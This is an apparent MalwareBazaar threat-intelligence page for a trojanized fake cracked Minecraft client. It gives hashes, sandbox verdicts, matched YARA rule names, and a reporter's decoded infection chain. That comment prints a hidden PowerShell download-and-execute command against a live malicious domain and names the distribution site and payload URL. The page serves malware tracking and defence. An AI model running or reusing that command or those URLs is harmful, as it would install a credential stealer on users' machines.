🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


RustyStealer


Vendor detections: 4


Intelligence 4 IOCs YARA 25 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118
SHA3-384 hash: 5cd9e54ed40c809061690441dae4b39c0a493a0c5ef89d96ccfc620d2cedd43ba169ddf9928b3985449b54dca7a352b5
SHA1 hash: 319b6bc29032022776be51f9e0682bdb63967600
MD5 hash: 3bc5a03d1d726d6423f80566c1b65311
humanhash: pennsylvania-mike-minnesota-hamper
File name:echo-client-crackedbysub5larp.jar
Download: download sample
Signature RustyStealer
Create hunting rule
File size:9'329'210 bytes
First seen:2026-10-25 17:58:03 UTC
Last seen:Never
File type:Java file jar
MIME type:application/java-archive
ssdeep 196608:jPfo0lREZWwm4ENRDaeZURSFfY0Bu4Z2ZD8PQ5iXq:Lfo2mWwbURmSFfYOzsZF5gq
TLSH T1EE963307639C4DBD7B7F40B2F8C0621CB126E96142B30645FB49AAEFC22DDE995ED814
TrID 57.8% (.JAR) Minecraft Fabric Mod (24020/2/4)
32.5% (.JAR) Java Archive (13500/1/2)
9.6% (.ZIP) ZIP compressed archive (4000/1)
Magika jar
Reporter GhostTypes
Tags:bombay jar lumma.cy RustyStealer


Avatar
GhostTypes
Trojanized fake cracked Minecraft client served from https://portalclient-drab.vercel.app/ (Vercel-hosted fake storefront, 11-client catalog all pinned to MC 1.21.11, Leakestan-style 'cracked by Dexter/Sub5Larp/648k.exe' branding, Telegram t.me/+V6Y7K3MitvVkZGVi). The jar carries an injected fabric client entrypoint paneldrop.PanelDrop: on Windows launch it spawns a hidden powershell running irm 'https://tools.lumma.cy/bsKLZ?zh=U' | iex (unique per-jar tracking token). Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).

Intelligence

File Origin
# of uploads :
1
# of downloads :
79
Origin country :
FR FR
Vendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
jar
Verdict:
No threats detected
Analysis date:
2026-10-25 18:06:13 UTC
Tags:
arch-exec
Link:
https://app.any.run/tasks/e7fe619a-9512-4abb-8e39-839817884140

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Detection:
n/a
Link:
https://www.capesandbox.com/analysis/94486/
Verdict:
Clean
Score:
89.3%
Link:
https://cyber-fortress.com/docs/result/index.php?id=6ade4358afb06e650cd8fbf0
Tags:
n/a
Verdict:
Unknown
Threat level:
  2.5/10
Confidence:
100%
Link:
https://www.filescan.io/uploads/6ade4347235610fdf34fe067/reports/0cb8d897-daa3-438c-95ad-55c8b4518a5e/overview
Verdict:
Unknown
Link:
https://www.hybrid-analysis.com/sample/f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118
Verdict:
Unknown
File Type:
jar
Link:
https://opentip.kaspersky.com/f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118/results?tab=lookup
Result
Threat name:
SilentNet
Create hunting rule
Detection:
malicious
Classification:
troj
Score:
56 / 100
Link:
https://www.joesandbox.com/analysis/1993551
Signature
Multi AV Scanner detection for submitted file
Yara detected SilentNet
Behaviour
Behavior Graph:
Download SVG
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1993551 Sample: echo-client-crackedbysub5larp.jar Startdate: 28/10/2026 Architecture: WINDOWS Score: 56 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected SilentNet 2->14 6 cmd.exe 1 2->6         started        process3 process4 8 java.exe 3 6->8         started        10 conhost.exe 6->10         started       
Score:
0%
Verdict:
Benign
File Type:
ARCHIVE
Link:
https://malprob.io/report/f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118/
Threat name:
Binary.Trojan.Generic
Create hunting rule
Status:
Suspicious
First seen:
2026-10-25 17:59:52 UTC
File Type:
Binary (Archive)
Extracted files:
10
AV detection:
3 of 24 (12.50%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=62plhs5cwqp3owmtdmedyjtrhaia27i6j766hjbeanlxizmqwema._file
Result
Malware family:
n/a
Score:
  3/10
Tags:
n/a
Link:
https://tria.ge/reports/261025-wkd7waxv4m/
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Suspicious File
Score:
0.35
Link:
https://yomi.yoroi.company/submissions/f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:command_and_control
Create hunting rule
Author:CD_R0M_
Description:This rule searches for common strings found by malware using C2. Based on a sample used by a Ransomware group
Rule name:CP_Script_Inject_Detector
Create hunting rule
Author:DiegoAnalytics
Description:Detects attempts to inject code into another process across PE, ELF, Mach-O binaries
Rule name:DebuggerCheck__API
Create hunting rule
Reference:https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara
Rule name:dependsonpythonailib
Create hunting rule
Author:Tim Brown
Description:Hunts for dependencies on Python AI libraries
Rule name:DetectEncryptedVariants
Create hunting rule
Author:Zinyth
Description:Detects 'encrypted' in ASCII, Unicode, base64, or hex-encoded
Rule name:dsc
Create hunting rule
Author:Aaron DeVera
Description:Discord domains
Rule name:golang_bin_JCorn_CSC846
Create hunting rule
Author:Justin Cornwell
Description:CSC-846 Golang detection ruleset
Rule name:JAVA_Malware_Unknown_ForgeAuto_8814e6c9
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (class, etat binaire)
Rule name:JAVA_Malware_Unknown_ForgeAuto_90eece6c_Extrait
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (class, etat extrait)
Rule name:MULTI_Malware_Unknown_ForgeAuto_6dc545a6
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (inconnu, etat binaire)
Rule name:MULTI_Malware_Unknown_ForgeAuto_9d9a5cf9
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (inconnu, etat binaire)
Rule name:MULTI_Malware_Unknown_ForgeAuto_de8d8480
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (inconnu, etat binaire)
Rule name:pe_detect_tls_callbacks
Create hunting rule
Rule name:ProgramLanguage_Rust
Create hunting rule
Author:albertzsigovits
Description:Application written in Rust programming language
Rule name:Rustyloader_mem_loose
Create hunting rule
Author:James_inthe_box
Description:Corroded buerloader
Reference:https://app.any.run/tasks/83064edd-c7eb-4558-85e8-621db72b2a24
Rule name:SCRIPT_Dropper_Unknown_ForgeAuto_aaa464f7
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (script_js, etat binaire)
Rule name:SEH__vectored
Create hunting rule
Reference:https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara
Rule name:Sus_All_Windows_PE_Malware
Create hunting rule
Author:DiegoAnalytics
Description:Detects Windows PE malware of all types, avoids non-executables like .html
Rule name:telebot_framework
Create hunting rule
Author:vietdx.mb
Rule name:test_rule_vldslv
Create hunting rule
Rule name:TH_AntiVM_MassHunt_Win_Malware_2026_CYFARE
Create hunting rule
Author:CYFARE
Description:Detects Windows malware employing anti-VM / anti-sandbox evasion techniques across VMware, VirtualBox, Hyper-V, QEMU, Xen, and generic sandbox environments
Reference:https://cyfare.net/
Rule name:Win_Clipboard_Clipper_Thengavar
Create hunting rule
Author:Thengavar
Description:Detects malware manipulating the Windows clipboard for clipping or crypto stealing attacks
Rule name:WIN_Malware_Unknown_ForgeAuto_4fa7e284_Extrait
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (pe, etat extrait)
Rule name:WIN_Malware_Unknown_ForgeAuto_5001c94c
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (pe, etat binaire)
Rule name:WIN_Malware_Unknown_ForgeAuto_92a28498
Create hunting rule
Author:Marjoriefort
Description:Detects Unknown (pe, etat binaire)

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

RustyStealer

Java file jar f69eb3cba2b41fb759931b083c267138100d7d1e4ffde3a4240357746590b118

(this sample)

  
Delivery method
Distributed via web download
Cape
Cape
https://www.capesandbox.com/analysis/94486/

Comments